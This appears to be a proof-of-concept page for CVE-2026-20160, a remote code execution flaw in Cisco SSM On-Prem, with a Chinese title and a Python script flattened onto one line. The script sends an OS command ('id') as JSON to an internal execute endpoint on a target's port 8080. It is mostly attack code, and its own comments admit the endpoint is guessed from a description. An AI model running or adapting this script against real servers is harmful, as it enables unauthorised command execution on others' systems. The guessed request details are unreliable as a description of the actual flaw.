CVE-2026-20160 Cisco SSM On-Prem 远程代码执行漏洞

# PoC for CVE-2026-20160 # This script demonstrates the exploitation of the exposed internal service. # Usage: python3 poc.py <target_ip> import requests import sys # The vulnerable endpoint might be an internal API exposed to the outside. # Based on the description, we send a crafted request to trigger command execution. TARGET_URL = f"http://{sys.argv[1]}:8080/api/internal/v1/execute" PAYLOAD = { "command": "id", # The command to execute on the underlying OS "args": "" } def exploit(target): try: print(f"[*] Sending payload to {target}...") # Sending a crafted request to the API of the exposed service response = requests.post(target, json=PAYLOAD, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response from server:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: exploit(TARGET_URL)